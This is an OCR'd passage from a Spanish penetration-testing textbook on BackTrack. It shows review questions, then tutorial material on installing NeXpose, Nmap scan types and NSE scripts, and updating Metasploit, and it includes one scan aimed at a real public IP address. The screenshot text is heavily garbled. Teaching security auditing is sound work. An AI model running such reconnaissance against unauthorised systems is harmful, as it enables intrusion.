P (Con qué nombre se conoce la prueba que provee a los consultores de
toda la informacion que estos necesiten?

a) Caja negra.
b) Caja blanca.
¢) Caja gris.
d) Cajaroja.

¥ (En cuantos capitulos se divide la metodologia establecida por la
OSSTMM?

a) 2
b) 3
c) 4
d) 5

¥ ;Con qué nombre se conoce la etapa en la que se construye toda la
informacion necesaria de los sistemas y servicios en una prueba de
intrusion?
a) Planificacion.
b) Descubrimiento.

¢) Intrusion.
d) Informe.

¥ ;En qué etapa de la metodologia marcada por la OSSTMM se firma el
acuerdo de exencion de responsabilidad entre el consultor y el cliente?

a) Informe.

b) Ataque.

¢) Planificacion.
d) Descubrimiento.

¥ Alavistade losresultados expuestos en el capitulo, ;qué recomendaciones
recogeria en el informe final?
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No podemos acabar la obra que tan pacientemente se ha preparado sin
presentar tres herramientas esenciales para cualquier consultor de redes inalambricas.
Para cada una de ellas describiremos:

v Su propésito o finalidad.
v El proceso de instalacion y/o actualizacion en BackTrack.
v Ejemplos de uso.

A.1 NEXPOSE

Por defecto, BackTrack viene con OpenVAS como escaner de
vulnerabilidades. Como consultores o auditores de redes no podemos confiar
solamente en una herramienta, por lo que generalmente empleamos una bateria de
ellas para conseguir una vision mas real de los problemas que afectan a la seguridad
de nuestras redes.

Ya en el Capitulo 2 hablamos muy brevemente de otro escaner de
vulnerabilidades, Nessus, del que puede descargar una completa guia en htip:/
davidarboledas.es/bt/nessus.php. Ahora vamos a hablar, también brevemente, de
otro escaner con muchos seguidores, NeXpose, de la compaiiia Rapid7.

NeXpose Community Edition es un escaner gratuito de vulnerabilidades
que permite explorar routers y sistemas operativos en busca de debilidades. Puede
integrarse perfectamente con la herramienta Metasploit Framework.
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Las tres ediciones comerciales (Enterprise, Consultant y Express) incluyen
gran cantidad de caracteristicas, como escaneo distribuido y exploracion de bases de
datos, webs y entornos virtuales que no suelen ser necesarias para pequefias redes.

En cuanto a las caracteristicas mas sobresalientes de la edicion gratuita,
Community, podemos citar:

v Exploracion de vulnerabilidades hasta en un maximo de 32 direcciones
IP.

v Posibilidad de priorizar la valoracion del riesgo.

¥ Actualizaciones regulares de la base de datos de vulnerabilidades.
v Integracion con Metasploit.

v Soporte de la comunidad en Attps://community.rapid7.com.

v Uso sencillo.

NeXpose consta de dos partes: ¢l motor de busqueda, que detecta las
vulnerabilidades, y la consola de seguridad, que incluye una interfaz tipo web para
configurar y operar con NeXpose.

A.1.1 Instalacion

Procedamos con la descarga e instalacion de la edicion de NeXpose para la
comunidad:

1. Descargue la version adecuada del programa desde la pagina http://www.
rapid7.com/products/nexpose/download. jsp. En nuestro caso, optamos
por la version Linux de 32 bits, NeXposeSetup-Linux32.bin (Figura A.1).

2. Cambie los permisos del fichero de instalacion para que pueda ejecutarse:

# chmod +x NeXposeSetup-Linux32.bin
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Download Free Vulnerability Scanner
Nexpose Community Edition

Windows 64-Bit Linux &64-Bit

Do You Manage Security for a Medium to

Large crpaizatont i nexpose

Doeresad & tree U of Ltipose Erterprse Loecn

Figura A.1. Seccidn de descargas de NeXpose Community Edition

3. Ejecute el instalador con el comando . /NeXposeSetup-Linux32.bin
y complete sus datos. Rapid7 le enviara por correo electronico la licencia
para registrar el producto. Cuando le pregunte, seleccione la opcion de
registrar con licencia (Figura A.2).

X nexpose

* User details

Enter your name and your company name

Enter your first name, your last name, and the name of your company.
Thia information will be used for generating S5L certificates, and & will be
included in requests to Technical Support

First name: Last name:
bewd | Jarboledas
Company:

[P»\E Consultores

Only letters. numbers. spaces. and the characters - + @ & . _ * sre alowed Al
fialds are required

indicate whether you have a product key. &

I ® | would like to register for a product key I
) 1 already have a product key

Figura A.2. Instalacion de NeXpose
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4. A continuacion, elija la opcion de instalar la Consola de Seguridad de
NeXpose junto con el motor de biisqueda. Si desea cambiar el directorio
de instalacion, es en este momento donde debe indicarlo (Figura A.3).

nstaller - Nexpose

Select componants and an Installation path
X Nnexpose

Select only the set of components you want to install f you want to moddy the
installation directory. cdick *Change® Once you have selected your installation
directory click "Nexte

@ Nexpose Securty Conssle with acal Scan Engine

#you da not have a console matalied yet. this option is recommended The
console manages scen engines and all Nexpose operations
* Type and destination

) Nespose Scan Engane only

Destination directary: [foptirapidTimespose

Free disk space: 17,325 MB

*RAPID7

Figura A.3. Instalacion recomendada en el directorio por defecto

5. El siguiente paso es la eleccion de las credenciales con las que se

autenticara en el servicio (Figura A.4). Asegurese de recordarlas més
adelante o tendra que instalar de nuevo NeXpose.

X Nexpose

Create your account information

IMPORTANT Chocse secure tredentials and remember them. You will need them
to perform confiquration steps after campleting the installation

User name

ldavartn

Password

f

The passwords match

f*RAPID7

Figura A.4. Eleccion de las credenciales de autenticacion
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6. Siga las indicaciones mostradas por pantalla hasta que el proceso haya
finalizado, lo que puede demorarse un rato, y pulse Finish (Figura A.5).

Installation Is completel

X Nexpose

Installstion is complete!

1. f you chose to start Nexpose as part of the installation, then & is
already running

2 Yeu can log onte Nexpose at H Use the
credentials you created during installation

3. To start scanning. click the Home tab in the Nesxpose Security Console
Web interface. For quick-start help. click the Help link

NOTE: ¥ you did not select the option to start Nexpose as part of the
installation. Nexpose will intislize during first-time startup This wall take 10 to
30 minutes depending on your system capabilities
You can start Nexpose manually by executing
foptirapidlinexpose/nscinsc. sh

» installation success s¢ is conf ts Iy See the
wish to modify start modes

**RAPID7

Figura A.5. Instalacion de NeXpose finalizada

Una vez que haya instalado con éxito NeXpose, vaya al directorio que
contiene el guion de ejecucion del programa, que por defecto serd /opt/rapid7/
nexpose, y ejecutelo:

# cd /opt/rapid7/nexpose/nsc
# ./nsc.sh

El proceso puede durar de 10 a 40 minutos, en funcion del equipo donde lo
esté instalando, puesto que se requiere inicializar la base de datos de vulnerabilidades.
Cuando finalice, autentiquese en la consola web de NexPose tal y como describiremos
en el punto siguiente.

La instalacion crea un demonio de nombre nexposeconsole.re, de modo que
s1 quiere hacer uso de ¢l para que se ejecute automaticamente cuando la maquina
arranque, siga estos pasos:

1. Vaya al directorio que contiene el fichero nexposeconsole. rc:

# cd /opt/rapid7/nexpose/nsc



268 BACKTRACK 5. HACKING DE REDES INALAMBRICAS © RA-MA

2. Abra el archivo y asegiirese de que la linea que contiene NXP_ROOT,
en la seccion #defines, apunta al directorio de instalacion de NeXpose:

# defines

NXP ROOT=/opt/rapid7/nexpose

NXP PID=$NXP ROOT/nsc/nexpose.pid
RETVAL=0

3. Copie el fichero al directorio /etc/init.d y dele un nombre, como por
ejemplo, nexpose:

# cp /opt/rapid7/nexpose/nsc/nexposeconsole.rc /

etc/ init.d/nexpose

4. Asigne permisos de ejecucion al demonio:

# chmod +x /etc/init.d/nexpose

5. Y permita que se inicie junto con el sistema operativo:

# update-rc.d nexpose defaults

6. Ahora podra iniciar, parar o reiniciar el demonio con los comandos:

# /etc/init.d/nexpose <start|stop|restart>

A.1.2 Autenticacion en NeXpose Community

La Consola de Seguridad web soporta de momento los siguientes
navegadores:

W Internet Explorer 7.0.x, 8.0.x, and 9.0.
P Mozilla Firefox 10.0.x.
¥ Google Chrome.

Para autenticarse en el servicio, asegurese previamente de haber recibido de
Rapid7 por correo electronico el codigo de activacion y siga estos pasos:

1. Abra el navegador web y teclee como direccion htips://localhost:3780.
El navegador le mostrara la pantalla de bienvenida.
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2. Introduzca el usuario y la contrasefa que eligid en el momento de la
instalacion (Figura A.6).

TRUCO
Si existe algln conflicto en el puerto 3780, puede especificar otro disponible
= en [directorio de instalacién]\nsc\conf \httpd.xml.

NOTA

? Si la ventana de bienvenida indica que la Consola de Seguridad se
encuentra en modo mantenimiento, es posible que se haya producido un
error durante la instalacion.

@ Logonto Nexpose
§= & moolocathost 3 e - |3
Pnexpose

Logon

Usit niame

Omsartin

Password

B Legon

Figura A.6. Pantalla de bienvenida

3. Al ser la primera vez que utiliza el producto, la consola le mostrard el
cuadro de didlogo de activacion, donde debera pegar la licencia que ha
recibido (Figura A.7).

Activate License

@ _ Youcan run scans and generate reports with an active license,
® @ # which requires a product key. I you do not have a product key,

raminy 'BGUESta key,

Enter your productkey: | 3GSV- 2YK3-YOBY - FTSV

Figura A.7. Ventana de activacion
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4. Pulse el boton Activate para completar este paso.

5. Pulse la pestaiia Home para ver la pagina de inicio de la Consola de
Seguridad (Figura A.8 A).

La primera vez que se autentique verd la pagina de Noticias, en la que
encontrara informacion de todas las actualizaciones y mejoras del sistema que acaba
de instalar en su maquina BackTrack. Si es asi, NeXpose se habra instalado con éxito
y estard listo para su uso (Figura A.8 B).

@ Nexpose Security Console = ..

d= | & hups J/localhest 17R0/ b ~-& - Q Q

b
Wneme D Nexpose Security Console = N....
N :ﬂnuﬁL al
& Mome | ERAsers @ wisnd ¥ | B 1itps//localhost 3760/ new . &4 ad
wapped 0 Bl aenrda
are
an‘ b | Sugport | News | Log OF
Site Listing A B - - -
_O;mu B Aveets. @ VulmeabBties o Policies |+ Reports £ Adminisliation
Pap——
Current Sean Listing for AN Shes
P
Asset Group Laong
M et s gty e stume aaner

Figura A.8. Pagina inicial de NeXpose

A.1.3 Uso de NeXpose Community

Una vez autenticado, haga clic en la pestafia Recursos (Assets), para crear el
sitio que desea analizar. Seleccione Sites.

En la ficha New Site > Configuration > General, defina el recurso que
desea, su importancia y descripcion. Haga clic en el boton Next (Figura A.9).
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Aty
e Wt 7
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Figura A.9. Definicidn del ordenador que se analizara

Ahora introduzca las direcciones IP que quiera examinar. Tenga presente que
esta version gratuita solo puede realizar auditorias en un maximo de 32 méquinas.
En el ejemplo solo hemos analizado un ordenador, cuya direccion de Internet es

10.0.2.15 (Figura A.10). Pulse Next.

D Nexpose Security Console = Si...
@ | 8 hitps//locathost:3780/site/wizard sp

L it

- €] {8+ oo Q@

& Home -nun|.vunuln- W, Pobcies |- Repons  u Asmsisuation

General
- e
The isted IP mddremees ard host names are ncluded 1 this ste
Scan Sewp
Credentiak TIFET|
Ved AgGiRoatnt.
Organzaton
Acxess
bmpornt list trom file
Excluded Assets

The isted P addresses and hoss names wil ot be scanned &5 s of B ser

Bmpart list from file

) Emer ane 1P sadiess o hosl name per e uaing any

of the loloamng notators:.

10001

10001-1000788

1000024

200 @8 1

2001 @a - 2001 md m

2001 4112

2001908 8503 00 Sade JTO TINNE4

A eEATgle COm
18 adiiresaes can be huly compressed hartaly
uncomeresetd. o uncompressed The lolowing wre

2001 dos 3
00s0 00001
o

M you cte CIDR notaton for 1P adresses
[xxxi24) the Network iersfier ( 0) and Network
Broadcast Aidress( 255) wil be igrored. and the
anire netwon & scanned.

1000024 wll become 10001 - 1000254
10000716 wil become 10.00 1 - 100265254

Figura A.10. Direccion de Internet del recurso escaneable
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Ahora necesitara configurar la plantilla de busqueda (Scan Template). En el
ejemplo empleamos la auditoria completa, Full audit. Tras guardar la configuracion,
vera como el equipo aparece en el listado. Ahora ya puede efectuar el andlisis
haciendo clic en el icono Sean (Figura A 11).

Figura A.11. Comienzo del analisis del ordenador 10.0.2.15

Cuando NeXpose finalice el analisis en la miquina que ha elegido, le
presentara un detallado informe con las vulnerabilidades detectadas, que podra ver
en la ficha Vulnerabilities (Figura A.12).

poed on ax davarbi

wnexm‘ Help | Support | News | Log Off
community
G rome [ Assers | @ Vunerabitties | | Policies |- Reports & Administration Y
Ve et B Sewch
This page contains kst of & e vuinerabilies affecting your assets. This st & automaticaly ugdaled weh new a3 they are Select & vuinerabiity 10 View iormation about
the vulnerabiltes and the affectad assets
Vulnerabilities by Seventy * x
Mocher ofw
Vuinerability Listing rx
Exposures: {j Susceptible 1 malware aiacks () Metaspioli-exploitable . Exploit published
Title & P ovss Rk 1§71 Published On Seventy Instances Bxceptions
ICMF smestamg rasponae 2 00 FriAug 011997 Moderate 1 @ Eshude

M RAPID?

Figura A.12. Listado de vulnerabilidades en una maquina

Ademas, NeXpose le informara de las diferentes opciones que tiene para
solucionar los problemas encontrados en funciéon de su maquina y del sistema
operativo detectado.
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A.2 NMAP

Nmap (Network Mapper) es un completisimo escaner, escrito originalmente
en 1997 por Gordon Lyon, utilizado para descubrir servidores y servicios en una
maquina y de este modo evaluar la seguridad de los sistemas informaticos. Es un
software que se distribuye bajo licencia publica general GNU, de codigo abierto, que
BackTrack implementa en origen. Puede descargar su Gltima version en http://nmap.
org/download. html.

Ha llegado a ser una de las herramientas imprescindibles para todo
administrador de sistemas que efectue pruebas de intrusion y tareas de seguridad
informatica en general.

Nmap puede llegar a confundirse con herramientas para analisis de
vulnerabilidades, como Nessus o NeXpose, pero no esta diseiada con los mismos
objetivos. Nmap es dificilmente detectable, ha sido creado para evadir los sistemas
de deteccion de intrusos (IDS) e interfiere lo menos posible con las operaciones
normales de las redes y de las computadoras que son analizadas.

Entre sus funciones principales podemos destacar:

¥ Descubrimiento de servidores. Identifica computadoras en una red. Por
defecto, Nmap usa para tal fin solicitudes de eco ICMP y paquetes TCP
SYN al puerto 443 y TCP ACK al puerto 80.

¥ Identifica puertos abiertos en una computadora.

V' Determina qué servicios esta ejecutando la misma.

V' Halla qué sistema operativo y version utiliza dicha computadora, técnica
conocida como fingerprinting.

P Obtiene algunas caracteristicas del hardware de red de la maquina objeto
de la prueba.

Si desea actualizar Nmap, escriba en un terminal el comando apt-
get install nmap. A continuacion, vaya al ment BackTrack > Information
Gathering > Network Analysis > Identify Live Hosts > nmap o, desde una consola,
escriba nmap, lo que le mostrara todas las opciones disponibles (Figura A.13).
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Nmap
dgdavid-HP:-5 nmap
1 ( http://nmap.org )
nmap [Scan (s)] [Options] {target specification}

.1; 10.6.0-255.1-254

,«++>! Exclude hosts/networks
«clude list from file

ing if host is online

to given ports
ery probes

mes ]

Figura A.13. Listado de opciones en Nmap

Para comenzar a usar Nmap, tan solo necesita suministrarle la direccion IP
de la maquina que va a escanear (Figura A.14).

Hay seis estados que Nmap puede reconocer cuando realiza el examen de
puertos:

¥ Open (abierto). Significa que hay alguna aplicacion que esta aceptando
conexiones TCP, datagramas UDP o asociaciones SCTP.

P Closed (cerrado). Aunque el puerto es accesible, no se encuentra ninguna
aplicacion escuchando en €L

W Filtered (filtrado). Nmap no puede determinar si el puerto estd abierto
porque algin dispositivo estd bloqueando la prueba.

W Unfiltered (sin filtro). El puerto es accesible, pero Nmap no puede
determinar si esta abierto o cerrado.

P Open | Filtered. No puede determinarse si el puerto esta abierto o se
encuentra filtrado. Esto ocurre cuando Nmap no obtiene respuesta cuando

intenta abrir un puerto.

¥ Closed | Filtered. Nmap no puede hallar cual es el estado del puerto.
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Nmap

david@david-virtualBox:~$ nmap 16.6.2.15

nmap.org ) at 2012-12-11 @7:56 CET
5

0.2.15 arel closed

(1 host up) scanned in 0.16 seconds
david@david-vi

david@david-virtualBox:~$
david@david-VirtualBox:

Figura A.14. Escaneo de puertos en la maquina 10.0.2.15

Veamos a continuacidn las opciones mas habituales que se emplean en una
prueba de mtrusion.

A.2.1 Especificacion del objetivo

Nmap define el objetivo a través de su direccion IP o mediante el nombre del
mismo en la red, aunque es preferible usar el primer método, ya que asi se evita tener
que hacer primero una resolucion DNS.

Nmap soporta las siguientes notaciones para las direcciones [Pv4:
¥ Una maquina individual se definira con su IP, como 192.163.0.23.

W También se puede usar la notacion CIDR para hacer referencia a un
conjunto de maquinas, por ejemplo, 192.163.0.0/24. Esta notacion
analizara las 256 direcciones IP, desde 1a 192.163.0.0 ala 192.163.0.255.

¥ Nmap puede trabajar también con rangos de octetos, por ejemplo,
192.168.3-5,7.1, que analizarda cuatro direcciones: 192.168.3.1,
192.168.4.1, 192.168.5.1 y 192.168.7.1.

En cuanto a IPv6, Nmap solo soporta su forma completa o el nombre de
la maquina en la red, al menos, por el momento. Atn no puede trabajarse con la
notacion CIDR en esta version. Si tiene una lista de direcciones IP en un fichero,
puede también usarla con la opcidn -1iL <fichero>.
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Comencemos a probar la potencia de esta herramienta analizando la red
192.168.33.0. Vamos a ver qué paquetes envia Nmap y, para ello, los monitorizaremos
con tcpdump.

Abra una consola y escriba:

# tcpdump —-nnX tcp and host 192.168.33.36

La direccion IP 192.168.33.36 es la de nuestra maquina. Sustitiiyala por la
que tenga su ordenador en la red. Abra a continuacion una nueva consola y escriba
lo siguiente:

#nmap 192.168.33.0/24

En la consola tcpdump vera el siguiente paquete:

-

15:41:32.164068 IP 192.168.33.36.42977 > 192.168.33,33.14000: Flags [S], seq 1932188291, win
14600, options [mss 1460,sackOK,TS val 862984 ecr O,nop,wscale 4], length @

0x0000: 4500 003c f18bh 4000 4006 859a cPaB 2124 E..<..@.@.....!5
0x0010: cOaB 2121 aTel 36b0 732a daB3 0000 0000 ..!!..6.5%......
Ox0028: a002 3908 c3c4 0000 0204 05b4 0402 086 ..9.....0vvennnn
Ox0030: 000d 2bO8 0000 0000 0103 6304 5 s B aiwn woeininn

Este es el paquete enviado desde la méquina. Se denota por el caracter S,
que es “‘sincronizar” (SYN). A continuacion, viene el paquete de respuesta desde la
maquina remota:

-

15:41:32.164140 IP 192.168.33.33.9944 > 192.168.33.36.58036: Flags [R.], seq O, ack 2364591885,
win 6, length ©

Ox0000: 4500 0028 1638 0000 fe0d6 €301 cBaB 2121 E..(.B........ 11
0x0010: cOaB8 2124 26d8 e2b4 0000 0000 BcfO cfod ..!5&.....0000as
0x0020: 5014 0000 86af 0000 6061 68bS 99e0 Pavaansates h...

Se denota por el caracter R, que es “reser” (RST). Significa que el puerto
9944, en este caso, no esta abierto.
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A continuacion, puede ver el resultado en la consola de Nmap (Figura A.15).

Nmap

davidgdavid-virtualBox:~5 nmap 192.168.1.0/24

Starting Nmap 5.21 ( http://mmap.org ) at 2012-12-11 13:58 CET
Nmap scan report for 192.168.1.1

Host is up (8.0862s latency).

Not shown: 996 filtered ports

PORT STATE SERVICE

21/tcp open ftp

open http
open netbios-ssn
open microsoft-ds

: 256 IP addre s (1 host up) scanned in 7.81 seconds
id-virtualBox:

Figura A.15. Resultado de escanear toda la red

Por defecto, por tanto, Nmap solo analiza 1.000 puertos en 256 direcciones.

A.2.2 Opciones de escaneo TGP

Para usar la mayoria de las opciones TCP de Nmap, necesitard tener
privilegios de superusuario (root) en Unix o de administrador en Windows. Por
defecto, Nmap ejecutara un analisis de tipo TCP SYN, pero si no dispone de los
privilegios comentados, solo podra efectuar una busqueda de tipo conexion TCP:

¥ Conexién TCP (-sT). Esta opcién completa la negociacion en tres pasos
con cada puerto. Si la conexi6n es un €xito, el puerto se considera abierto.
Precisamente, esta negociacion con cada puerto hace que el proceso sea
bastante largo.

P Anilisis TCP SYN (-sS). Con esta opcion Nmap envia un paquete SYN
y espera la respuesta SYN/ACK. Si la recibe significa que el puerto
esta abierto, mientras que si recibe una respuesta RST, el puerto estara
cerrado. S1no hay respuesta alguna o se produce un error ICMP, entonces
el trafico por el puerto estaré filtrado. Este andlisis se efectua muchisimo
mas rapido que el anterior, entre otros motivos, porque nunca se completa
la negociacion en tres pasos, ademas de no interferir con ningun proceso.
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¥V Escaneo TCP NULL (-sN), FIN (-sF), XMAS (-sX). Si se recibe
como respuesta un paquete RST, se considera que el puerto estd
cerrado; mientras que si no se obtiene respuesta alguna, el puerto estara
abierto/filtrado.

¥ Escaneo Maimon (-sM). En este andlisis se envian paquetes FIN/ACK.
Los sistemas tipo BSD Unix responderan con un paquete RST si el puerto
esta cerrado.

PV Escaneo TCP ACK (-sA). Este analisis se emplea para localizar si
existen cortafuegos y qué puertos filtra.

A.2.3 Opciones UDP

Mientras que con TCP podemos efectuar un importante niimero de analisis,
con UDP solo existe uno, -sU. Aunque un analisis UDP es menos fiable que uno
TCP, como consultores no podemos ignorar este escaneo.

El problema con este tipo de analisis es el tiempo. Puesto que los sistemas
Linux limitan la cantidad de mensajes ICMP a un maximo de uno por segundo, un
escaneo UDP de los 65.536 puertos llevara mas de 18 horas en completarse.

Para solventar este problema, podemos intentar lo siguiente:

v Efectuar el escaneo UDP en paralelo con otro proceso.

v Realizarlo tras el cortafuegos.

v Analizar exclusivamente los puertos més habituales.

v Indicar la opcion --host-timeout para descartar los mas lentos.

A.2.4 Especificacion de puertos

Como ya hemos visto, por defecto Nmap solo analiza los 1.000 puertos mas
habituales con cada protocolo. Para cambiar esta configuracion, puede elegir las
siguientes opciones:

-p port range
Scan only the defined ports. To scan port 1-1024,
the option is -p 1-1024. To scan port 1-65535,
the option is -p-.

-F (fast)
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This will scan only 100 common ports.

-r (don’t randomize port)
This option will set sequential port scanning (
from lowest to highest)

--top-ports <1 or greater>
This option will only scan the N highest-ratio
ports found in the nmap-service file.

Imagine que desea escanear unicamente los puertos 25, 80 y 9985. Para ello,
podria escribir algo asi, nmap -sN -p 25,80,9985 10.0.2.15 (Figura A.16).

Nmap - Puertos aislados

root@david-VirtualBox: /home /david# nmap -sN -p 25,86,9985 10.8.2.15

Starting Nmap 5.21 ( http://nmap.org ) at 2012-12-11 14:01 CET
Nmap scan report for 10.0.2.15

Host is up.

PORT STATE SERVICE

25/tcp open|filtered smtp

80/tcp open| filt http
9985/tcp open|filte unknown

Nmap done: 1 IP address (1 host up) scanned in 3.28 seconds
root@david-VirtualBox: /home /david#

Figura A.16. Escaneo de puertos concretos con Nmap

A.2.5 Opciones de salida

Los resultados del analisis de Nmap pueden grabarse en un archivo externo.
Nmap soporta los siguientes formatos de salida:

W Salida interactiva. Es el formato por defecto. El resultado se envia a la
salida estandar.

P Normal (-oN fichero). Es similar al anterior, pero no incluye las posibles
advertencias.

¥ XML (-oX fichero). Este formato se puede convertir facilmente a HTML
o importarse a una base de datos. Le animamos a usarlo tan a menudo
como pueda.
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Por ejemplo, si desea obtener el resultado del analisis de los puertos 25, 80
y 9985 en un archivo de nombre 11-12-2012.xml, escriba:

# nmap -sN -p 25,80,9985 10.0.2.15 -oX 11-12-2012.xzml

A continuacion, le presentamos un pequefio fragmento del archivo XML
generado:

<? xml version="1.0" 2>

<? xzml-stylesheet href="file:///usr/share/nmap/nmap.xsl” type
="text/xsl” ?>

<!——= Nmap 5.21 scan initiated Tue Dec 11 20:46:23 2012 as:
nmap -sN -p 25,80,9985 -oX 11-12-2012.xml 10.0.2.15 -->
<nmaprun scanner="nmap” args="nmap -sN -p 25,80,9985 -oX 11-
12-2012.xm1 10.0.2.15" start="1355255183" startstr="Tue Dec
11 20:46:23 2012” version="5.21" xmloutputversion="1.03">
<scaninfo type="null” protocol="tcp” numservices="3" services=

%25,80,9985" />

Si esta habituado a HTML, se dara cuenta de que es mucho mas facil que
leer XML, por lo que puede convertirlo facilmente a HTML con la herramienta
xsltproc, silatiene instalada:

# xsltproc 11-12-2012.xml -0 11-12-2012.html

La salida en su navegador seria la mostrada en la figura A.17:

It - scan @ Tue Dec 11 20:46:23 2012 |

scan summary | scan info | 10.0.2.15 | runstats

|mn summary I

nimap ws initiated st Tue Dec 11 20:46:23 2012 with these arguments:

map -aN ~p 385,80.8385 -oX 11-13-2003. 3l 10.0.2.18

The process stopped at Tue Dec 11 20:46:26 2011, Debugging was disabled, the
verbosty level was 0.

[10.0.2.15 |

ping results
loealhost-response

address

10.0.2.15 (ipvd)

Figura A.17. Informe de Nmap en HTML visto en un navegador
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A.2.6 Archivo de drdenes con Nmap

Aunque Nmap se ha convertido en una potentisima herramienta de
explotacion de redes, ahora viene ademds con una herramienta adicional conocida
como NSE (Nmap Scripting Engine), que permite automatizar multitud de tareas
mediante guiones o archivos de drdenes. Ademas, posibilita que los usuarios puedan
escribir sus propios guiones y compartirlos con el resto de la comunidad.

Las tareas que se pueden realizar con NSE se agrupan en:

v" Descubrimiento de red.

v Deteccion de versiones de servicios mejorada.
v Deteccion de vulnerabilidades.

v Deteccion de gusanos y puertas traseras.

v Explotacion de vulnerabilidades.

Los guiones utilizan un lenguaje de programacion embebido en Nmap que
se conoce como Lua (http://www.lua.org).

En BackTrack, los archivos de ordenes de Nmap se encuentran en el
directorio /usr/share/nmap/scripts y contiene mas de 130 guiones.

Puede invocar Nmap Scripting Engine (NSE), desde la linea de comandos
de diversas formas:

-sC or --script=default
Perform scan using default scripts.
--script <filename> | <category> | <directories>
Perform scan using the script defined in
filename, categories, or directories.
--script-args <args>
Provides script argument. An example of these
arguments are username or password if you use the
auth category.

Pruebe a invocar el guidn por defecto contra la maquina 192.168.1.100:

# nmap —-sC 192.168.1.100
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El resultado puede verlo en la figura A.18:

david@david-HP:

david@david-HP:-S nmap -sC 192.168.1.188

: eunknown>

Figura A.18. Ejecucion de Nmap Scripting Engine

NSE incluso nos permite obtener informacion de los servidores http donde
corren aplicaciones. Vea el siguiente ejemplo (Figura A.19).

# nmap --script http-enum, http-headers -p 80 85.238.8.149

Fingerprinting

davidgdavid-HP:~S nmap script http-enum, http-headers -p 80 85.238.8.149

Starting Nmap 5.21 ( http://nmap.org ) at 2012-12-11 22:26 CET
NSE: Script Scanning completed.
Nmap scan report for nsl.ev4B.com (85.238.8.149)
Host is up (0.051s latency)
(PORT STATE SERVICE
186 /tcp open http
| http-headers:
I Date: Tue., 11 Dec 2012 21:26:53 GMT
Server: Apache
Last-Modified: Mon, 29 Oct 2012 18:40:02 GNT
ETag: "4140849-26 4cd36ffdcedBn”
Accept-Ranges:

X-Powered-By:

Connection: close
Content-Type: text/html

(Request type: HEAD)
_http-enum:

|
|

|

I

I g

| Content-Length: 982
I

I

I

|

|

|

INmap done: 1 IP address (1 host up) scanned in 0.47 seconds
idavid@david-HP: -5 l

Figura A.19. Uso de NSE para servicios de deteccion (fingerprinting)
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Tan solo con dos guiones http de NSE, hemos conseguido informacion 1til
del servidor web, a saber:

1. Usa un servidor Apache.

2. No existe ningun directorio accesible.

Intente ahora utilizar dos nuevos guiones: http-methods y http-php-
version. ;Qué informacion obtiene?

Después de esta breve introduccion a la potencia de Nmap y sus archivos de
ordenes, pasemos a otra herramienta esencial para cualquier aficionado o consultor
de redes, Metasploit Framework.

A.3 METASPLOIT

Metasploit es un proyecto de seguridad informatica de codigo abierto que
proporciona informacion acerca de vulnerabilidades de seguridad para ayudar a los
responsables informaticos y consultores en las pruebas de intrusion y en el desarrollo
de firmas para sistemas de deteccion de intrusos.

El subproyecto mas conocido es Metasploit Framework, una herramienta
para desarrollar y ejecutar exploits contra una maquina remota. Fue originalmente
escrito en Perl por HD Moore en 2003 y, desde su tercera version en 2005, se ha
reescrito completamente en el lenguaje de programacion Ruby. En 2009, Rapid7, la
compaiiia de NeXpose, adquirio el proyecto, que se sigue desarrollando a buen ritmo
en estos momentos (hitp://www.metasploit.com).

A.3.1 Actualizacion

Metasploit es una de esas aplicaciones que requiere ser continuamente
actualizada, tan a menudo como una vez por semana si se dedica profesionalmente
a este campo. Para ello, basta con abrir una consola en BackTrack y escribir
msfupdate (Figura A.20).
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x Metasploit
File Edit View Terminal Help
:~# msfupdate

[*]
[*] Attempting to update the Metasploit Framework...
[*]

svn: /opt/metasploit/common/1ib/1ibssl.50.0.9.8: no version information availabl

e (required by /opt/metasploit/common/lib/libserf-8.s50.0)

svn: /opt/metasploit/common/lib/1libcrypto.s0.0.9.8: no version information avail

able (required by /opt/metasploit/common/lib/libserf-0.50.0)

svn: /opt/metasploit/common/1ib/1ibssl.50.0.9.8: no version information available (requi

red by /opt/metasploit/common/lib/libserf-0.50.0)

svn: /opt/metasploit/common/lib/1libcrypto.s0.0.9.8: no version information available (re

quired by /opt/metasploit/common/lib/libserf-6.s50.0)

D lib/gemcache/ruby/1.9.1/gems/metasploit data models-0.0, .430E\«')’metasp101t data mod

els.gemspec

D Llib/gemcache/ruby/1.9.1/gems/metasploit data models-0.0.2.43DEV/README . mdown
lib/gemcache/ruby/1.9.1/gems/metasploit data models-0.0.2.43DEV/LICENSE
lib/gemcache/ruby/1.9.1/gems/metasploit data models-@.0.2.43DEV/Rakefile
lib/gemcache/ruby/1.9.1/gems/metasploit data models-0.0.2.43DEV/console db.yml

9.1/gems/metasploit data models-0.0.2.43DEV/Gemfile

9.1/gems/metasploit data models-0.0.2.43DEV/metasploit data mod

lib/gemcache/ruby/1.
Lls live.gemspec
lib/gemcache/ruby/1.9.1/gems/metasploit data models-0.0.2.43DEV/lib/metasploit datal§

D
D
D
D lib/gemcache/ruby/1.
D
e
D

Figura A.20. Actualizacion de Metasploit Framework

Una vez finalizada la actualizacion de Metasploit, este le indicard en el
terminal el nuevo numero de revision, como en nuestro ejemplo, Updated to
revisién 16181.

TRUCO
Seria buena idea si no ha actualizado su version de BackTrack, que lo
hiciera antes de hacer lo propio con Metasploit.

Para ejecutar ahora la aplicacion, escriba por terminal msfconsole vy, tras
unos instantes, le aparecera su caracteristica imagen en la consola (Figura A.21).
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~ v % Metasploit

File Edit View Terminal Help

spsfLy
SRERBRRBRBRRRERY
FRERRBERRRERRRERNRREER
BEARSHEREARR SRR R RERRGRE
e e e e
BERRHRRBRERRSRERRIR B RRRARRRET
R R R AR R G E R
FRREH R RN B BN R
B S e S S s e
# Hudgsgey &
#iHg B
#ER #ER
#HER  HEE
FEEE sidakaiesz #EEE
AERRRR AR RABEEREE  GHEH
FRESRERERESBERFAEENE  REER
FHERRER R BRI R
HEHHRR B RBUR
HEREREER
R
FREGER GGG
FRAHRRE ER#EEEEET
=i Eapz¥saa
# BRI
# 4 HEEGEBEBUBER
BEREREARERRHRRRBERER AR
# ¥ #4232 & w
HERERERRERGURGUBHER NS EH
## ## # #

eta it v4 lea | e:4 1.¢
1002 exploits - 563 auxiliary - 165 post
262 payloads - 28 encoders - 8 nops

svn rl6181 updated today (2012.12.12)

Wowonn

Figura A.21. Consola de Metasploit Framework

A.3.2 Bases de datos y Metasploit

Metasploit tiene una caracteristica que lo hace especial: la capacidad
de volcar todos sus resultados en una base de datos. Por defecto, Metasploit usa
PostgreSQL.

PostgreSQL es un sistema de gestion de bases de datos relacional de tipo
cliente/servidor, distribuido bajo licencia BSD y con su codigo fuente disponible
libremente. Es el SGBD de c6digo abierto mas potente del mercado, y en sus Gltimas
